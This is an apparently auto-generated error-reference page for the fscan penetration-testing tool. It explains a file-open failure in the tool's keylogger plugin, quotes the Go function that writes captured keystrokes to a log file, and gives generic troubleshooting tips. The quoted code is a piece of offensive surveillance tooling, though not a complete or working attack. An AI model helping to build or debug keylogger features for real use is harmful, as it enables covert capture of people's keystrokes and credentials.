shadow1ng/fscan · error
Unable to open output file: %w
Error message
Unable to open output file: %w
What it means
Raised in KeyloggerPlugin.saveKeysToFile when opening the output file for writing (O_TRUNC) fails — permissions, missing directory, or path error; the localized 'output_file_open_failed' message wraps the cause.
Source
Thrown at plugins/local/keylogger.go:173
timestamp := time.Now().Format("2006-01-02 15:04:05")
entry := fmt.Sprintf("[%s] %s", timestamp, key)
p.keyBuffer = append(p.keyBuffer, entry)
}
// saveKeysToFile 保存键盘记录到文件
func (p *KeyloggerPlugin) saveKeysToFile(outputFile string, session *common.ScanSession) error {
p.bufferMutex.RLock()
defer p.bufferMutex.RUnlock()
if len(p.keyBuffer) == 0 {
session.LogInfo(i18n.GetText("keylogger_no_input"))
return nil
}
file, err := os.OpenFile(outputFile, os.O_CREATE|os.O_WRONLY|os.O_TRUNC, 0600)
if err != nil {
return fmt.Errorf("%s: %w", i18n.GetText("output_file_open_failed"), err)
}
defer func() { _ = file.Close() }()
// 写入头部信息
header := i18n.GetText("keylogger_log_header") + "\n"
header += i18n.Tr("local_start_time", time.Now().Format("2006-01-02 15:04:05")) + "\n"
header += i18n.Tr("local_platform", runtime.GOOS) + "\n"
header += i18n.Tr("keylogger_event_count", len(p.keyBuffer)) + "\n"
header += "========================\n\n"
if _, err := file.WriteString(header); err != nil {
return fmt.Errorf("%s: %w", i18n.GetText("keylogger_header_write_failed"), err)
}
// 写入键盘记录
for _, entry := range p.keyBuffer {
if _, err := file.WriteString(entry + "\n"); err != nil {
return fmt.Errorf("%s: %w", i18n.GetText("keylogger_entry_write_failed"), err)View on GitHub (pinned to 95cc12e753)
Solutions
- Verify the output directory exists and is writable
- Adjust file permissions or run with appropriate privileges
- Point to a different output file path
Defensive patterns
Strategy: validation
When it happens
Trigger: Thrown at plugins/local/keylogger.go:173 when the library encounters an invalid state.
Common situations: See trigger scenarios.
AI-assisted analysis of shadow1ng/fscan@95cc12e753 (2026-09-06).
Data as JSON: /api/errors/f2d59909646c9291.
Report an issue: GitHub.